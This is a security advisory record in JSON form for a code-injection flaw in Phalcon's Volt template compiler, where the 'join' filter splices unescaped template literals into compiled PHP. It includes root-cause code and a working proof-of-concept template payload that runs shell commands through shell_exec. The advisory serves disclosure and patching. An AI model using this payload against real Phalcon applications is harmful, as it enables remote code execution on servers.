CVE-2026-59989: Phalcon/cphalcon Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hrwp-4hh9-c8r8",
  "modified" : "2026-08-27T16:33:43Z",
  "published" : "2026-08-21T20:55:56Z",
  "aliases" : [ "CVE-2026-59989" ],
  "summary" : "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)",
  "details" : "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", &_19$$24, \"', \", &_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n<?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())->compileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n<img width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" />\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phalcon/cphalcon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.16.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.15.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/pull/17217"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/phalcon/cphalcon"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T20:55:56Z",
    "nvd_published_at" : "2026-08-21T21:17:00Z"
  }
}